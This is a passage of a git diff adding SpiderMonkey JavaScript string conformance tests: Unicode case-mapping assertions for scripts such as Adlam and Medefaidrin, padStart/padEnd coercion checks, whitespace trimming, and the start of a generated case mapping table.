+assertEq(String.fromCodePoint(0x118B3).toLowerCase().codePointAt(0), 0x118D3); // WARANG CITI CAPITAL LETTER NUNG, WARANG CITI SMALL LETTER NUNG
+assertEq(String.fromCodePoint(0x118B4).toLowerCase().codePointAt(0), 0x118D4); // WARANG CITI CAPITAL LETTER DA, WARANG CITI SMALL LETTER DA
+assertEq(String.fromCodePoint(0x118B5).toLowerCase().codePointAt(0), 0x118D5); // WARANG CITI CAPITAL LETTER AT, WARANG CITI SMALL LETTER AT
+assertEq(String.fromCodePoint(0x118B6).toLowerCase().codePointAt(0), 0x118D6); // WARANG CITI CAPITAL LETTER AM, WARANG CITI SMALL LETTER AM
+assertEq(String.fromCodePoint(0x118B7).toLowerCase().codePointAt(0), 0x118D7); // WARANG CITI CAPITAL LETTER BU, WARANG CITI SMALL LETTER BU
+assertEq(String.fromCodePoint(0x118B8).toLowerCase().codePointAt(0), 0x118D8); // WARANG CITI CAPITAL LETTER PU, WARANG CITI SMALL LETTER PU
+assertEq(String.fromCodePoint(0x118B9).toLowerCase().codePointAt(0), 0x118D9); // WARANG CITI CAPITAL LETTER HIYO, WARANG CITI SMALL LETTER HIYO
+assertEq(String.fromCodePoint(0x118BA).toLowerCase().codePointAt(0), 0x118DA); // WARANG CITI CAPITAL LETTER HOLO, WARANG CITI SMALL LETTER HOLO
+assertEq(String.fromCodePoint(0x118BB).toLowerCase().codePointAt(0), 0x118DB); // WARANG CITI CAPITAL LETTER HORR, WARANG CITI SMALL LETTER HORR
+assertEq(String.fromCodePoint(0x118BC).toLowerCase().codePointAt(0), 0x118DC); // WARANG CITI CAPITAL LETTER HAR, WARANG CITI SMALL LETTER HAR
+assertEq(String.fromCodePoint(0x118BD).toLowerCase().codePointAt(0), 0x118DD); // WARANG CITI CAPITAL LETTER SSUU, WARANG CITI SMALL LETTER SSUU
+assertEq(String.fromCodePoint(0x118BE).toLowerCase().codePointAt(0), 0x118DE); // WARANG CITI CAPITAL LETTER SII, WARANG CITI SMALL LETTER SII
+assertEq(String.fromCodePoint(0x118BF).toLowerCase().codePointAt(0), 0x118DF); // WARANG CITI CAPITAL LETTER VIYO, WARANG CITI SMALL LETTER VIYO
+assertEq(String.fromCodePoint(0x16E40).toLowerCase().codePointAt(0), 0x16E60); // MEDEFAIDRIN CAPITAL LETTER M, MEDEFAIDRIN SMALL LETTER M
+assertEq(String.fromCodePoint(0x16E41).toLowerCase().codePointAt(0), 0x16E61); // MEDEFAIDRIN CAPITAL LETTER S, MEDEFAIDRIN SMALL LETTER S
+assertEq(String.fromCodePoint(0x16E42).toLowerCase().codePointAt(0), 0x16E62); // MEDEFAIDRIN CAPITAL LETTER V, MEDEFAIDRIN SMALL LETTER V
+assertEq(String.fromCodePoint(0x16E43).toLowerCase().codePointAt(0), 0x16E63); // MEDEFAIDRIN CAPITAL LETTER W, MEDEFAIDRIN SMALL LETTER W
+assertEq(String.fromCodePoint(0x16E44).toLowerCase().codePointAt(0), 0x16E64); // MEDEFAIDRIN CAPITAL LETTER ATIU, MEDEFAIDRIN SMALL LETTER ATIU
+assertEq(String.fromCodePoint(0x16E45).toLowerCase().codePointAt(0), 0x16E65); // MEDEFAIDRIN CAPITAL LETTER Z, MEDEFAIDRIN SMALL LETTER Z
+assertEq(String.fromCodePoint(0x16E46).toLowerCase().codePointAt(0), 0x16E66); // MEDEFAIDRIN CAPITAL LETTER KP, MEDEFAIDRIN SMALL LETTER KP
+assertEq(String.fromCodePoint(0x16E47).toLowerCase().codePointAt(0), 0x16E67); // MEDEFAIDRIN CAPITAL LETTER P, MEDEFAIDRIN SMALL LETTER P
+assertEq(String.fromCodePoint(0x16E48).toLowerCase().codePointAt(0), 0x16E68); // MEDEFAIDRIN CAPITAL LETTER T, MEDEFAIDRIN SMALL LETTER T
+assertEq(String.fromCodePoint(0x16E49).toLowerCase().codePointAt(0), 0x16E69); // MEDEFAIDRIN CAPITAL LETTER G, MEDEFAIDRIN SMALL LETTER G
+assertEq(String.fromCodePoint(0x16E4A).toLowerCase().codePointAt(0), 0x16E6A); // MEDEFAIDRIN CAPITAL LETTER F, MEDEFAIDRIN SMALL LETTER F
+assertEq(String.fromCodePoint(0x16E4B).toLowerCase().codePointAt(0), 0x16E6B); // MEDEFAIDRIN CAPITAL LETTER I, MEDEFAIDRIN SMALL LETTER I
+assertEq(String.fromCodePoint(0x16E4C).toLowerCase().codePointAt(0), 0x16E6C); // MEDEFAIDRIN CAPITAL LETTER K, MEDEFAIDRIN SMALL LETTER K
+assertEq(String.fromCodePoint(0x16E4D).toLowerCase().codePointAt(0), 0x16E6D); // MEDEFAIDRIN CAPITAL LETTER A, MEDEFAIDRIN SMALL LETTER A
+assertEq(String.fromCodePoint(0x16E4E).toLowerCase().codePointAt(0), 0x16E6E); // MEDEFAIDRIN CAPITAL LETTER J, MEDEFAIDRIN SMALL LETTER J
+assertEq(String.fromCodePoint(0x16E4F).toLowerCase().codePointAt(0), 0x16E6F); // MEDEFAIDRIN CAPITAL LETTER E, MEDEFAIDRIN SMALL LETTER E
+assertEq(String.fromCodePoint(0x16E50).toLowerCase().codePointAt(0), 0x16E70); // MEDEFAIDRIN CAPITAL LETTER B, MEDEFAIDRIN SMALL LETTER B
+assertEq(String.fromCodePoint(0x16E51).toLowerCase().codePointAt(0), 0x16E71); // MEDEFAIDRIN CAPITAL LETTER C, MEDEFAIDRIN SMALL LETTER C
+assertEq(String.fromCodePoint(0x16E52).toLowerCase().codePointAt(0), 0x16E72); // MEDEFAIDRIN CAPITAL LETTER U, MEDEFAIDRIN SMALL LETTER U
+assertEq(String.fromCodePoint(0x16E53).toLowerCase().codePointAt(0), 0x16E73); // MEDEFAIDRIN CAPITAL LETTER YU, MEDEFAIDRIN SMALL LETTER YU
+assertEq(String.fromCodePoint(0x16E54).toLowerCase().codePointAt(0), 0x16E74); // MEDEFAIDRIN CAPITAL LETTER L, MEDEFAIDRIN SMALL LETTER L
+assertEq(String.fromCodePoint(0x16E55).toLowerCase().codePointAt(0), 0x16E75); // MEDEFAIDRIN CAPITAL LETTER Q, MEDEFAIDRIN SMALL LETTER Q
+assertEq(String.fromCodePoint(0x16E56).toLowerCase().codePointAt(0), 0x16E76); // MEDEFAIDRIN CAPITAL LETTER HP, MEDEFAIDRIN SMALL LETTER HP
+assertEq(String.fromCodePoint(0x16E57).toLowerCase().codePointAt(0), 0x16E77); // MEDEFAIDRIN CAPITAL LETTER NY, MEDEFAIDRIN SMALL LETTER NY
+assertEq(String.fromCodePoint(0x16E58).toLowerCase().codePointAt(0), 0x16E78); // MEDEFAIDRIN CAPITAL LETTER X, MEDEFAIDRIN SMALL LETTER X
+assertEq(String.fromCodePoint(0x16E59).toLowerCase().codePointAt(0), 0x16E79); // MEDEFAIDRIN CAPITAL LETTER D, MEDEFAIDRIN SMALL LETTER D
+assertEq(String.fromCodePoint(0x16E5A).toLowerCase().codePointAt(0), 0x16E7A); // MEDEFAIDRIN CAPITAL LETTER OE, MEDEFAIDRIN SMALL LETTER OE
+assertEq(String.fromCodePoint(0x16E5B).toLowerCase().codePointAt(0), 0x16E7B); // MEDEFAIDRIN CAPITAL LETTER N, MEDEFAIDRIN SMALL LETTER N
+assertEq(String.fromCodePoint(0x16E5C).toLowerCase().codePointAt(0), 0x16E7C); // MEDEFAIDRIN CAPITAL LETTER R, MEDEFAIDRIN SMALL LETTER R
+assertEq(String.fromCodePoint(0x16E5D).toLowerCase().codePointAt(0), 0x16E7D); // MEDEFAIDRIN CAPITAL LETTER O, MEDEFAIDRIN SMALL LETTER O
+assertEq(String.fromCodePoint(0x16E5E).toLowerCase().codePointAt(0), 0x16E7E); // MEDEFAIDRIN CAPITAL LETTER AI, MEDEFAIDRIN SMALL LETTER AI
+assertEq(String.fromCodePoint(0x16E5F).toLowerCase().codePointAt(0), 0x16E7F); // MEDEFAIDRIN CAPITAL LETTER Y, MEDEFAIDRIN SMALL LETTER Y
+assertEq(String.fromCodePoint(0x1E900).toLowerCase().codePointAt(0), 0x1E922); // ADLAM CAPITAL LETTER ALIF, ADLAM SMALL LETTER ALIF
+assertEq(String.fromCodePoint(0x1E901).toLowerCase().codePointAt(0), 0x1E923); // ADLAM CAPITAL LETTER DAALI, ADLAM SMALL LETTER DAALI
+assertEq(String.fromCodePoint(0x1E902).toLowerCase().codePointAt(0), 0x1E924); // ADLAM CAPITAL LETTER LAAM, ADLAM SMALL LETTER LAAM
+assertEq(String.fromCodePoint(0x1E903).toLowerCase().codePointAt(0), 0x1E925); // ADLAM CAPITAL LETTER MIIM, ADLAM SMALL LETTER MIIM
+assertEq(String.fromCodePoint(0x1E904).toLowerCase().codePointAt(0), 0x1E926); // ADLAM CAPITAL LETTER BA, ADLAM SMALL LETTER BA
+assertEq(String.fromCodePoint(0x1E905).toLowerCase().codePointAt(0), 0x1E927); // ADLAM CAPITAL LETTER SINNYIIYHE, ADLAM SMALL LETTER SINNYIIYHE
+assertEq(String.fromCodePoint(0x1E906).toLowerCase().codePointAt(0), 0x1E928); // ADLAM CAPITAL LETTER PE, ADLAM SMALL LETTER PE
+assertEq(String.fromCodePoint(0x1E907).toLowerCase().codePointAt(0), 0x1E929); // ADLAM CAPITAL LETTER BHE, ADLAM SMALL LETTER BHE
+assertEq(String.fromCodePoint(0x1E908).toLowerCase().codePointAt(0), 0x1E92A); // ADLAM CAPITAL LETTER RA, ADLAM SMALL LETTER RA
+assertEq(String.fromCodePoint(0x1E909).toLowerCase().codePointAt(0), 0x1E92B); // ADLAM CAPITAL LETTER E, ADLAM SMALL LETTER E
+assertEq(String.fromCodePoint(0x1E90A).toLowerCase().codePointAt(0), 0x1E92C); // ADLAM CAPITAL LETTER FA, ADLAM SMALL LETTER FA
+assertEq(String.fromCodePoint(0x1E90B).toLowerCase().codePointAt(0), 0x1E92D); // ADLAM CAPITAL LETTER I, ADLAM SMALL LETTER I
+assertEq(String.fromCodePoint(0x1E90C).toLowerCase().codePointAt(0), 0x1E92E); // ADLAM CAPITAL LETTER O, ADLAM SMALL LETTER O
+assertEq(String.fromCodePoint(0x1E90D).toLowerCase().codePointAt(0), 0x1E92F); // ADLAM CAPITAL LETTER DHA, ADLAM SMALL LETTER DHA
+assertEq(String.fromCodePoint(0x1E90E).toLowerCase().codePointAt(0), 0x1E930); // ADLAM CAPITAL LETTER YHE, ADLAM SMALL LETTER YHE
+assertEq(String.fromCodePoint(0x1E90F).toLowerCase().codePointAt(0), 0x1E931); // ADLAM CAPITAL LETTER WAW, ADLAM SMALL LETTER WAW
+assertEq(String.fromCodePoint(0x1E910).toLowerCase().codePointAt(0), 0x1E932); // ADLAM CAPITAL LETTER NUN, ADLAM SMALL LETTER NUN
+assertEq(String.fromCodePoint(0x1E911).toLowerCase().codePointAt(0), 0x1E933); // ADLAM CAPITAL LETTER KAF, ADLAM SMALL LETTER KAF
+assertEq(String.fromCodePoint(0x1E912).toLowerCase().codePointAt(0), 0x1E934); // ADLAM CAPITAL LETTER YA, ADLAM SMALL LETTER YA
+assertEq(String.fromCodePoint(0x1E913).toLowerCase().codePointAt(0), 0x1E935); // ADLAM CAPITAL LETTER U, ADLAM SMALL LETTER U
+assertEq(String.fromCodePoint(0x1E914).toLowerCase().codePointAt(0), 0x1E936); // ADLAM CAPITAL LETTER JIIM, ADLAM SMALL LETTER JIIM
+assertEq(String.fromCodePoint(0x1E915).toLowerCase().codePointAt(0), 0x1E937); // ADLAM CAPITAL LETTER CHI, ADLAM SMALL LETTER CHI
+assertEq(String.fromCodePoint(0x1E916).toLowerCase().codePointAt(0), 0x1E938); // ADLAM CAPITAL LETTER HA, ADLAM SMALL LETTER HA
+assertEq(String.fromCodePoint(0x1E917).toLowerCase().codePointAt(0), 0x1E939); // ADLAM CAPITAL LETTER QAAF, ADLAM SMALL LETTER QAAF
+assertEq(String.fromCodePoint(0x1E918).toLowerCase().codePointAt(0), 0x1E93A); // ADLAM CAPITAL LETTER GA, ADLAM SMALL LETTER GA
+assertEq(String.fromCodePoint(0x1E919).toLowerCase().codePointAt(0), 0x1E93B); // ADLAM CAPITAL LETTER NYA, ADLAM SMALL LETTER NYA
+assertEq(String.fromCodePoint(0x1E91A).toLowerCase().codePointAt(0), 0x1E93C); // ADLAM CAPITAL LETTER TU, ADLAM SMALL LETTER TU
+assertEq(String.fromCodePoint(0x1E91B).toLowerCase().codePointAt(0), 0x1E93D); // ADLAM CAPITAL LETTER NHA, ADLAM SMALL LETTER NHA
+assertEq(String.fromCodePoint(0x1E91C).toLowerCase().codePointAt(0), 0x1E93E); // ADLAM CAPITAL LETTER VA, ADLAM SMALL LETTER VA
+assertEq(String.fromCodePoint(0x1E91D).toLowerCase().codePointAt(0), 0x1E93F); // ADLAM CAPITAL LETTER KHA, ADLAM SMALL LETTER KHA
+assertEq(String.fromCodePoint(0x1E91E).toLowerCase().codePointAt(0), 0x1E940); // ADLAM CAPITAL LETTER GBE, ADLAM SMALL LETTER GBE
+assertEq(String.fromCodePoint(0x1E91F).toLowerCase().codePointAt(0), 0x1E941); // ADLAM CAPITAL LETTER ZAL, ADLAM SMALL LETTER ZAL
+assertEq(String.fromCodePoint(0x1E920).toLowerCase().codePointAt(0), 0x1E942); // ADLAM CAPITAL LETTER KPO, ADLAM SMALL LETTER KPO
+assertEq(String.fromCodePoint(0x1E921).toLowerCase().codePointAt(0), 0x1E943); // ADLAM CAPITAL LETTER SHA, ADLAM SMALL LETTER SHA
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/string-object-length.js b/js/src/tests/non262/String/string-object-length.js
new file mode 100644
index 0000000000..9c464cc038
--- /dev/null
+++ b/js/src/tests/non262/String/string-object-length.js
@@ -0,0 +1,19 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 650621;
+var summary = 'String object length test';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq(raisesException(InternalError)('for (args = "" ;;) args+=new String(args)+1'), true);
+
+reportCompare(true, true);
+
diff --git a/js/src/tests/non262/String/string-pad-start-end.js b/js/src/tests/non262/String/string-pad-start-end.js
new file mode 100644
index 0000000000..d784c83e0d
--- /dev/null
+++ b/js/src/tests/non262/String/string-pad-start-end.js
@@ -0,0 +1,99 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+// `this` must be object coercable.
+
+for (let badThis of [null, undefined]) {
+ assertThrowsInstanceOf(() => {
+ String.prototype.padStart.call(badThis, 42, "oups");
+ }, TypeError);
+
+ assertThrowsInstanceOf(() => {
+ String.prototype.padEnd.call(badThis, 42, "oups");
+ }, TypeError);
+}
+
+let proxy = new Proxy({}, {
+get(t, name) {
+ if (name === Symbol.toPrimitive || name === "toString") return;
+ if (name === "valueOf") return () => 42;
+ throw "This should not be reachable";
+}
+});
+
+assertEq("42bloop", String.prototype.padEnd.call(proxy, 7, "bloopie"));
+
+// maxLength must convert to an integer
+
+assertEq("lame", "lame".padStart(0, "foo"));
+assertEq("lame", "lame".padStart(0.1119, "foo"));
+assertEq("lame", "lame".padStart(-0, "foo"));
+assertEq("lame", "lame".padStart(NaN, "foo"));
+assertEq("lame", "lame".padStart(-1, "foo"));
+assertEq("lame", "lame".padStart({toString: () => 0}, "foo"));
+
+assertEq("lame", "lame".padEnd(0, "foo"));
+assertEq("lame", "lame".padEnd(0.1119, "foo"));
+assertEq("lame", "lame".padEnd(-0, "foo"));
+assertEq("lame", "lame".padEnd(NaN, "foo"));
+assertEq("lame", "lame".padEnd(-1, "foo"));
+assertEq("lame", "lame".padEnd({toString: () => 0}, "foo"));
+
+assertThrowsInstanceOf(() => {
+ "lame".padStart(Symbol("9900"), 0);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ "lame".padEnd(Symbol("9900"), 0);
+}, TypeError);
+
+// The fill argument must be string coercable.
+
+assertEq("nulln.", ".".padStart(6, null));
+assertEq(".nulln", ".".padEnd(6, null));
+
+assertEq("[obje.", ".".padStart(6, {}));
+assertEq(".[obje", ".".padEnd(6, {}));
+
+assertEq("1,2,3.", ".".padStart(6, [1, 2, 3]));
+assertEq(".1,2,3", ".".padEnd(6, [1, 2, 3]));
+
+assertEq("aaaaa.", ".".padStart(6, {toString: () => "a"}));
+assertEq(".aaaaa", ".".padEnd(6, {toString: () => "a"}));
+
+// undefined is converted to " "
+
+assertEq(" .", ".".padStart(6, undefined));
+assertEq(". ", ".".padEnd(6, undefined));
+
+assertEq(" .", ".".padStart(6));
+assertEq(". ", ".".padEnd(6));
+
+// The empty string has no effect
+
+assertEq("Tilda", "Tilda".padStart(100000, ""));
+assertEq("Tilda", "Tilda".padEnd(100000, ""));
+
+assertEq("Tilda", "Tilda".padStart(100000, {toString: () => ""}));
+assertEq("Tilda", "Tilda".padEnd(100000, {toString: () => ""}));
+
+// Test repetition against a bruteforce implementation
+
+let filler = "space";
+let truncatedFiller = "";
+for (let i = 0; i < 2500; i++) {
+ truncatedFiller += filler[i % filler.length];
+ assertEq(truncatedFiller + "goto", "goto".padStart(5 + i, filler));
+ assertEq("goto" + truncatedFiller, "goto".padEnd(5 + i, filler));
+}
+
+// [Argument] Length
+
+assertEq(1, String.prototype.padStart.length)
+assertEq(1, String.prototype.padEnd.length)
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
diff --git a/js/src/tests/non262/String/string-space-trim.js b/js/src/tests/non262/String/string-space-trim.js
new file mode 100644
index 0000000000..0925a9c9f1
--- /dev/null
+++ b/js/src/tests/non262/String/string-space-trim.js
@@ -0,0 +1,42 @@
+/* Generated by make_unicode.py DO NOT MODIFY */
+/* Unicode version: 15.0.0 */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+var onlySpace = String.fromCharCode(
+ 0x0009 /* <control> (CHARACTER TABULATION) */,
+ 0x000A /* <control> (LINE FEED (LF)) */,
+ 0x000B /* <control> (LINE TABULATION) */,
+ 0x000C /* <control> (FORM FEED (FF)) */,
+ 0x000D /* <control> (CARRIAGE RETURN (CR)) */,
+ 0x0020 /* SPACE */,
+ 0x00A0 /* NO-BREAK SPACE (NON-BREAKING SPACE) */,
+ 0x1680 /* OGHAM SPACE MARK */,
+ 0x2000 /* EN QUAD */,
+ 0x2001 /* EM QUAD */,
+ 0x2002 /* EN SPACE */,
+ 0x2003 /* EM SPACE */,
+ 0x2004 /* THREE-PER-EM SPACE */,
+ 0x2005 /* FOUR-PER-EM SPACE */,
+ 0x2006 /* SIX-PER-EM SPACE */,
+ 0x2007 /* FIGURE SPACE */,
+ 0x2008 /* PUNCTUATION SPACE */,
+ 0x2009 /* THIN SPACE */,
+ 0x200A /* HAIR SPACE */,
+ 0x2028 /* LINE SEPARATOR */,
+ 0x2029 /* PARAGRAPH SEPARATOR */,
+ 0x202F /* NARROW NO-BREAK SPACE */,
+ 0x205F /* MEDIUM MATHEMATICAL SPACE */,
+ 0x3000 /* IDEOGRAPHIC SPACE */,
+ 0xFEFF /* ZERO WIDTH NO-BREAK SPACE (BYTE ORDER MARK) */
+);
+
+assertEq(onlySpace.trim(), "");
+assertEq((onlySpace + 'aaaa').trim(), 'aaaa');
+assertEq(('aaaa' + onlySpace).trim(), 'aaaa');
+assertEq((onlySpace + 'aaaa' + onlySpace).trim(), 'aaaa');
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/string-upper-lower-mapping.js b/js/src/tests/non262/String/string-upper-lower-mapping.js
new file mode 100644
index 0000000000..4561876757
--- /dev/null
+++ b/js/src/tests/non262/String/string-upper-lower-mapping.js
@@ -0,0 +1,65557 @@
+/* Generated by make_unicode.py DO NOT MODIFY */
+/* Unicode version: 15.0.0 */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+var mapping = [
+ ["\u0000", "\u0000"], /* <control> (NULL) */
+ ["\u0001", "\u0001"], /* <control> (START OF HEADING) */
+ ["\u0002", "\u0002"], /* <control> (START OF TEXT) */
+ ["\u0003", "\u0003"], /* <control> (END OF TEXT) */
+ ["\u0004", "\u0004"], /* <control> (END OF TRANSMISSION) */
+ ["\u0005", "\u0005"], /* <control> (ENQUIRY) */
+ ["\u0006", "\u0006"], /* <control> (ACKNOWLEDGE) */
+ ["\u0007", "\u0007"], /* <control> (BELL) */
+ ["\u0008", "\u0008"], /* <control> (BACKSPACE) */
+ ["\u0009", "\u0009"], /* <control> (CHARACTER TABULATION) */
+ ["\u000A", "\u000A"], /* <control> (LINE FEED (LF)) */
+ ["\u000B", "\u000B"], /* <control> (LINE TABULATION) */
+ ["\u000C", "\u000C"], /* <control> (FORM FEED (FF)) */
+ ["\u000D", "\u000D"], /* <control> (CARRIAGE RETURN (CR)) */
+ ["\u000E", "\u000E"], /* <control> (SHIFT OUT) */
+ ["\u000F", "\u000F"], /* <control> (SHIFT IN) */
+ ["\u0010", "\u0010"], /* <control> (DATA LINK ESCAPE) */
+ ["\u0011", "\u0011"], /* <control> (DEVICE CONTROL ONE) */
+ ["\u0012", "\u0012"], /* <control> (DEVICE CONTROL TWO) */
+ ["\u0013", "\u0013"], /* <control> (DEVICE CONTROL THREE) */
+ ["\u0014", "\u0014"], /* <control> (DEVICE CONTROL FOUR) */
+ ["\u0015", "\u0015"], /* <control> (NEGATIVE ACKNOWLEDGE) */
+ ["\u0016", "\u0016"], /* <control> (SYNCHRONOUS IDLE) */
+ ["\u0017", "\u0017"], /* <control> (END OF TRANSMISSION BLOCK) */
+ ["\u0018", "\u0018"], /* <control> (CANCEL) */
+ ["\u0019", "\u0019"], /* <control> (END OF MEDIUM) */
+ ["\u001A", "\u001A"], /* <control> (SUBSTITUTE) */
+ ["\u001B", "\u001B"], /* <control> (ESCAPE) */
+ ["\u001C", "\u001C"], /* <control> (INFORMATION SEPARATOR FOUR) */
+ ["\u001D", "\u001D"], /* <control> (INFORMATION SEPARATOR THREE) */
+ ["\u001E", "\u001E"], /* <control> (INFORMATION SEPARATOR TWO) */
+ ["\u001F", "\u001F"], /* <control> (INFORMATION SEPARATOR ONE) */
+ ["\u0020", "\u0020"], /* SPACE */
+ ["\u0021", "\u0021"], /* EXCLAMATION MARK */
+ ["\u0022", "\u0022"], /* QUOTATION MARK */
+ ["\u0023", "\u0023"], /* NUMBER SIGN */
+ ["\u0024", "\u0024"], /* DOLLAR SIGN */
+ ["\u0025", "\u0025"], /* PERCENT SIGN */
+ ["\u0026", "\u0026"], /* AMPERSAND */
+ ["\u0027", "\u0027"], /* APOSTROPHE (APOSTROPHE-QUOTE) */
+ ["\u0028", "\u0028"], /* LEFT PARENTHESIS (OPENING PARENTHESIS) */
+ ["\u0029", "\u0029"], /* RIGHT PARENTHESIS (CLOSING PARENTHESIS) */
+ ["\u002A", "\u002A"], /* ASTERISK */
+ ["\u002B", "\u002B"], /* PLUS SIGN */
+ ["\u002C", "\u002C"], /* COMMA */
+ ["\u002D", "\u002D"], /* HYPHEN-MINUS */
+ ["\u002E", "\u002E"], /* FULL STOP (PERIOD) */
+ ["\u002F", "\u002F"], /* SOLIDUS (SLASH) */
+ ["\u0030", "\u0030"], /* DIGIT ZERO */
+ ["\u0031", "\u0031"], /* DIGIT ONE */
+ ["\u0032", "\u0032"], /* DIGIT TWO */
+ ["\u0033", "\u0033"], /* DIGIT THREE */
+ ["\u0034", "\u0034"], /* DIGIT FOUR */
+ ["\u0035", "\u0035"], /* DIGIT FIVE */
+ ["\u0036", "\u0036"], /* DIGIT SIX */
+ ["\u0037", "\u0037"], /* DIGIT SEVEN */
+ ["\u0038", "\u0038"], /* DIGIT EIGHT */
+ ["\u0039", "\u0039"], /* DIGIT NINE */
+ ["\u003A", "\u003A"], /* COLON */
+ ["\u003B", "\u003B"], /* SEMICOLON */
+ ["\u003C", "\u003C"], /* LESS-THAN SIGN */
+ ["\u003D", "\u003D"], /* EQUALS SIGN */
+ ["\u003E", "\u003E"], /* GREATER-THAN SIGN */
+ ["\u003F", "\u003F"], /* QUESTION MARK */
+ ["\u0040", "\u0040"], /* COMMERCIAL AT */
+ ["\u0041", "\u0061"], /* LATIN CAPITAL LETTER A */
+ ["\u0042", "\u0062"], /* LATIN CAPITAL LETTER B */
+ ["\u0043", "\u0063"], /* LATIN CAPITAL LETTER C */
+ ["\u0044", "\u0064"], /* LATIN CAPITAL LETTER D */
+ ["\u0045", "\u0065"], /* LATIN CAPITAL LETTER E */
+ ["\u0046", "\u0066"], /* LATIN CAPITAL LETTER F */
+ ["\u0047", "\u0067"], /* LATIN CAPITAL LETTER G */
+ ["\u0048", "\u0068"], /* LATIN CAPITAL LETTER H */
+ ["\u0049", "\u0069"], /* LATIN CAPITAL LETTER I */
+ ["\u004A", "\u006A"], /* LATIN CAPITAL LETTER J */
+ ["\u004B", "\u006B"], /* LATIN CAPITAL LETTER K */
+ ["\u004C", "\u006C"], /* LATIN CAPITAL LETTER L */
+ ["\u004D", "\u006D"], /* LATIN CAPITAL LETTER M */
+ ["\u004E", "\u006E"], /* LATIN CAPITAL LETTER N */
+ ["\u004F", "\u006F"], /* LATIN CAPITAL LETTER O */
+ ["\u0050", "\u0070"], /* LATIN CAPITAL LETTER P */
+ ["\u0051", "\u0071"], /* LATIN CAPITAL LETTER Q */
+ ["\u0052", "\u0072"], /* LATIN CAPITAL LETTER R */
+ ["\u0053", "\u0073"], /* LATIN CAPITAL LETTER S */
+ ["\u0054", "\u0074"], /* LATIN CAPITAL LETTER T */
+ ["\u0055", "\u0075"], /* LATIN CAPITAL LETTER U */
+ ["\u0056", "\u0076"], /* LATIN CAPITAL LETTER V */
+ ["\u0057", "\u0077"], /* LATIN CAPITAL LETTER W */
+ ["\u0058", "\u0078"], /* LATIN CAPITAL LETTER X */
+ ["\u0059", "\u0079"], /* LATIN CAPITAL LETTER Y */
+ ["\u005A", "\u007A"], /* LATIN CAPITAL LETTER Z */
+ ["\u005B", "\u005B"], /* LEFT SQUARE BRACKET (OPENING SQUARE BRACKET) */
+ ["\u005C", "\u005C"], /* REVERSE SOLIDUS (BACKSLASH) */
+ ["\u005D", "\u005D"], /* RIGHT SQUARE BRACKET (CLOSING SQUARE BRACKET) */
+ ["\u005E", "\u005E"], /* CIRCUMFLEX ACCENT (SPACING CIRCUMFLEX) */
+ ["\u005F", "\u005F"], /* LOW LINE (SPACING UNDERSCORE) */
+ ["\u0060", "\u0060"], /* GRAVE ACCENT (SPACING GRAVE) */
+ ["\u0041", "\u0061"], /* LATIN SMALL LETTER A */
+ ["\u0042", "\u0062"], /* LATIN SMALL LETTER B */
+ ["\u0043", "\u0063"], /* LATIN SMALL LETTER C */
+ ["\u0044", "\u0064"], /* LATIN SMALL LETTER D */
+ ["\u0045", "\u0065"], /* LATIN SMALL LETTER E */
+ ["\u0046", "\u0066"], /* LATIN SMALL LETTER F */
+ ["\u0047", "\u0067"], /* LATIN SMALL LETTER G */
+ ["\u0048", "\u0068"], /* LATIN SMALL LETTER H */
+ ["\u0049", "\u0069"], /* LATIN SMALL LETTER I */
+ ["\u004A", "\u006A"], /* LATIN SMALL LETTER J */
+ ["\u004B", "\u006B"], /* LATIN SMALL LETTER K */
+ ["\u004C", "\u006C"], /* LATIN SMALL LETTER L */
+ ["\u004D", "\u006D"], /* LATIN SMALL LETTER M */
+ ["\u004E", "\u006E"], /* LATIN SMALL LETTER N */
+ ["\u004F", "\u006F"], /* LATIN SMALL LETTER O */
+ ["\u0050", "\u0070"], /* LATIN SMALL LETTER P */
+ ["\u0051", "\u0071"], /* LATIN SMALL LETTER Q */
+ ["\u0052", "\u0072"], /* LATIN SMALL LETTER R */
+ ["\u0053", "\u0073"], /* LATIN SMALL LETTER S */
+ ["\u0054", "\u0074"], /* LATIN SMALL LETTER T */
+ ["\u0055", "\u0075"], /* LATIN SMALL LETTER U */
+ ["\u0056", "\u0076"], /* LATIN SMALL LETTER V */
+ ["\u0057", "\u0077"], /* LATIN SMALL LETTER W */
+ ["\u0058", "\u0078"], /* LATIN SMALL LETTER X */
+ ["\u0059", "\u0079"], /* LATIN SMALL LETTER Y */
+ ["\u005A", "\u007A"], /* LATIN SMALL LETTER Z */
+ ["\u007B", "\u007B"], /* LEFT CURLY BRACKET (OPENING CURLY BRACKET) */
+ ["\u007C", "\u007C"], /* VERTICAL LINE (VERTICAL BAR) */
+ ["\u007D", "\u007D"], /* RIGHT CURLY BRACKET (CLOSING CURLY BRACKET) */
+ ["\u007E", "\u007E"], /* TILDE */
+ ["\u007F", "\u007F"], /* <control> (DELETE) */
+ ["\u0080", "\u0080"], /* <control> */
+ ["\u0081", "\u0081"], /* <control> */
+ ["\u0082", "\u0082"], /* <control> (BREAK PERMITTED HERE) */
+ ["\u0083", "\u0083"], /* <control> (NO BREAK HERE) */
+ ["\u0084", "\u0084"], /* <control> */
+ ["\u0085", "\u0085"], /* <control> (NEXT LINE (NEL)) */
+ ["\u0086", "\u0086"], /* <control> (START OF SELECTED AREA) */
+ ["\u0087", "\u0087"], /* <control> (END OF SELECTED AREA) */
+ ["\u0088", "\u0088"], /* <control> (CHARACTER TABULATION SET) */
+ ["\u0089", "\u0089"], /* <control> (CHARACTER TABULATION WITH JUSTIFICATION) */
+ ["\u008A", "\u008A"], /* <control> (LINE TABULATION SET) */
+ ["\u008B", "\u008B"], /* <control> (PARTIAL LINE FORWARD) */
+ ["\u008C", "\u008C"], /* <control> (PARTIAL LINE BACKWARD) */
+ ["\u008D", "\u008D"], /* <control> (REVERSE LINE FEED) */
